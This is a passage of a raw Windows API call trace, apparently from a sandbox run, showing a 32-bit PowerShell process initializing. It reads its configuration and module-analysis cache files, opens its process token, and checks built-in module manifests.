lpName="Global\\PowerShell_CommandAnalysis_Lock_S-1-5-21-1462094071-1423818996-289466292-1000") returned 0x844 [0107.108] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99aec4c*=0x844, lpdwindex=0x99aea6c | out: lpdwindex=0x99aea6c) returned 0x0 [0107.515] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae674, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0107.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aead0) returned 1 [0107.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis"), fInfoLevelId=0x0, lpFileInformation=0x99aeb4c | out: lpFileInformation=0x99aeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a31932, ftCreationTime.dwHighDateTime=0x1d2fc25, ftLastAccessTime.dwLowDateTime=0x2cd0b69d, ftLastAccessTime.dwHighDateTime=0x1d2fc25, ftLastWriteTime.dwLowDateTime=0x2cd0b69d, ftLastWriteTime.dwHighDateTime=0x1d2fc25, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0107.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeacc) returned 1 [0107.659] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex", nBufferLength=0x105, lpBuffer=0x99ae58c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex", lpFilePart=0x0) returned 0x6e [0107.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0107.660] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis\\powershell_analysiscacheindex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x850 [0107.750] GetFileType (hFile=0x850) returned 0x1 [0107.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea7c) returned 1 [0107.750] GetFileType (hFile=0x850) returned 0x1 [0108.408] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x99add10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0108.408] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x99adcbc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0108.496] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0108.496] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x42c9ac0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0108.496] CoTaskMemFree (pv=0x42c9ac0) [0108.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x99add5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0108.499] GetCurrentProcess () returned 0xffffffff [0108.499] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae064 | out: TokenHandle=0x99ae064*=0x858) returned 1 [0108.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x99adb44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0108.500] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x99ae064 | out: lpFileInformation=0x99ae064*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319371f9, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0xf0c27aa0, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xf0c27aa0, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0108.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x99adb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0108.501] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x99ae064 | out: lpFileInformation=0x99ae064*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319371f9, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0xf0c27aa0, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xf0c27aa0, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0108.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x99ada9c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0108.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf90) returned 1 [0108.501] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0108.501] GetFileType (hFile=0x860) returned 0x1 [0108.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99adf8c) returned 1 [0108.501] GetFileType (hFile=0x860) returned 0x1 [0108.502] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x99ae058 | out: lpFileSizeHigh=0x99ae058*=0x0) returned 0x8c8f [0108.502] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae014, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99ae014*=0x1000, lpOverlapped=0x0) returned 1 [0108.507] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99adeb0, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99adeb0*=0x1000, lpOverlapped=0x0) returned 1 [0108.540] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99add64, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99add64*=0x1000, lpOverlapped=0x0) returned 1 [0108.541] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99add64, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99add64*=0x1000, lpOverlapped=0x0) returned 1 [0108.541] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99add64, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99add64*=0x1000, lpOverlapped=0x0) returned 1 [0108.541] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99adc9c, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99adc9c*=0x1000, lpOverlapped=0x0) returned 1 [0108.546] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ade18, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99ade18*=0x1000, lpOverlapped=0x0) returned 1 [0108.547] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99add2c, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99add2c*=0x1000, lpOverlapped=0x0) returned 1 [0108.547] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99add2c, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99add2c*=0xc8f, lpOverlapped=0x0) returned 1 [0108.547] ReadFile (in: hFile=0x860, lpBuffer=0x711eff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99addec, lpOverlapped=0x0 | out: lpBuffer=0x711eff4*, lpNumberOfBytesRead=0x99addec*=0x0, lpOverlapped=0x0) returned 1 [0108.548] CloseHandle (hObject=0x860) returned 1 [0108.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x99add14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0108.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x99adcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0108.548] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0108.548] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x42c9ac0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0108.548] CoTaskMemFree (pv=0x42c9ac0) [0108.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0108.549] GetCurrentProcess () returned 0xffffffff [0108.549] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae198 | out: TokenHandle=0x99ae198*=0x860) returned 1 [0108.549] GetCurrentProcess () returned 0xffffffff [0108.549] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae198 | out: TokenHandle=0x99ae198*=0x864) returned 1 [0108.550] GetCurrentProcess () returned 0xffffffff [0108.550] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae064 | out: TokenHandle=0x99ae064*=0x868) returned 1 [0108.551] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x99ae064 | out: lpFileInformation=0x99ae064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0108.551] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x99adb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0108.551] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x99ae064 | out: lpFileInformation=0x99ae064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0108.551] GetCurrentProcess () returned 0xffffffff [0108.551] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae198 | out: TokenHandle=0x99ae198*=0x86c) returned 1 [0108.552] GetCurrentProcess () returned 0xffffffff [0108.552] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae198 | out: TokenHandle=0x99ae198*=0x870) returned 1 [0108.611] GetCurrentProcess () returned 0xffffffff [0108.611] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99adf60 | out: TokenHandle=0x99adf60*=0x874) returned 1 [0108.623] GetCurrentProcess () returned 0xffffffff [0108.623] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99adf70 | out: TokenHandle=0x99adf70*=0x878) returned 1 [0108.736] ReadFile (in: hFile=0x850, lpBuffer=0x713c68c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae9e4, lpOverlapped=0x0 | out: lpBuffer=0x713c68c*, lpNumberOfBytesRead=0x99ae9e4*=0x781, lpOverlapped=0x0) returned 1 [0108.817] EtwEventRegister (in: ProviderId=0x713f870, EnableCallback=0x85e2e66, CallbackContext=0x0, RegHandle=0x713f84c | out: RegHandle=0x713f84c) returned 0x0 [0108.833] GetCurrentProcess () returned 0xffffffff [0108.833] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae5e8 | out: TokenHandle=0x99ae5e8*=0x880) returned 1 [0108.834] GetCurrentProcess () returned 0xffffffff [0108.834] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae5f8 | out: TokenHandle=0x99ae5f8*=0x884) returned 1 [0109.597] ReadFile (in: hFile=0x850, lpBuffer=0x66afbe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae9ac, lpOverlapped=0x0 | out: lpBuffer=0x66afbe8*, lpNumberOfBytesRead=0x99ae9ac*=0x0, lpOverlapped=0x0) returned 1 [0109.598] CloseHandle (hObject=0x850) returned 1 [0109.598] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoloadingCacheMaintenance", lpBuffer=0x99ae988, nSize=0xee | out: lpBuffer="\x7e3") returned 0x0 [0109.599] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0109.599] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x43be9e8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0109.599] CoTaskMemFree (pv=0x43be9e8) [0109.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae588, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0109.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0109.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0109.600] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x99aeafc | out: lpFileInformation=0x99aeafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x5b9f)) returned 1 [0109.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea7c) returned 1 [0109.614] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0109.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0109.614] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x99aeafc | out: lpFileInformation=0x99aeafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x2f29)) returned 1 [0109.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea7c) returned 1 [0109.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0109.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0109.615] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), fInfoLevelId=0x0, lpFileInformation=0x99aeafc | out: lpFileInformation=0x99aeafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x296)) returned 1 [0109.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea7c) returned 1 [0109.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psm1", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psm1", lpFilePart=0x0) returned 0x77 [0109.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0109.616] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psm1"), fInfoLevelId=0x0, lpFileInformation=0x99aeafc | out: lpFileInformation=0x99aeafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8de2340, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8de2340, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8de2340, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x1d274)) returned 1 [0109.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea7c) returned 1 [0109.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0109.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0109.630] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1"), fInfoLevelId=0x0, lpFileInformation=0x99aeafc | out: lpFileInformation=0x99aeafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8de2340, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8de2340, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8de2340, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x6194)) returned 1 [0109.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea7c) returned 1 [0109.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0109.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0109.631] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x99aeafc | out: lpFileInformation=0x99aeafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9edf556, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc9edf556, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc9edf556, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x955)) returned 1 [0109.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea7c) returned 1 [0109.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaec) returned 1 [0109.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae5f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0109.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_", nBufferLength=0x105, lpBuffer=0x99ae5c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_", lpFilePart=0x0) returned 0x6f [0109.632] GetFullPathNameW (in: lpFileName="PowerShell_AnalysisCacheEntry_", nBufferLength=0x105, lpBuffer=0x99ae5c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PowerShell_AnalysisCacheEntry_", lpFilePart=0x0) returned 0x3c [0109.632] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_*", lpFindFileData=0x99ae814 | out: lpFindFileData=0x99ae814) returned 0x8e35110 [0109.632] FindNextFileW (in: hFindFile=0x8e35110, lpFindFileData=0x99ae870 | out: lpFindFileData=0x99ae870) returned 1 [0109.633] FindNextFileW (in: hFindFile=0x8e35110, lpFindFileData=0x99ae870 | out: lpFindFileData=0x99ae870) returned 1 [0109.633] FindNextFileW (in: hFindFile=0x8e35110, lpFindFileData=0x99ae870 | out: lpFindFileData=0x99ae870) returned 1 [0109.633] FindNextFileW (in: hFindFile=0x8e35110, lpFindFileData=0x99ae870 | out: lpFindFileData=0x99ae870) returned 1 [0109.633] FindNextFileW (in: hFindFile=0x8e35110, lpFindFileData=0x99ae870 | out: lpFindFileData=0x99ae870) returned 1 [0109.633] FindNextFileW (in: hFindFile=0x8e35110, lpFindFileData=0x99ae870 | out: lpFindFileData=0x99ae870) returned 0 [0109.633] FindClose (in: hFindFile=0x8e35110 | out: hFindFile=0x8e35110) returned 1 [0109.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeaf8) returned 1 [0109.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0109.635] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0109.635] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x43be9e8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0109.636] CoTaskMemFree 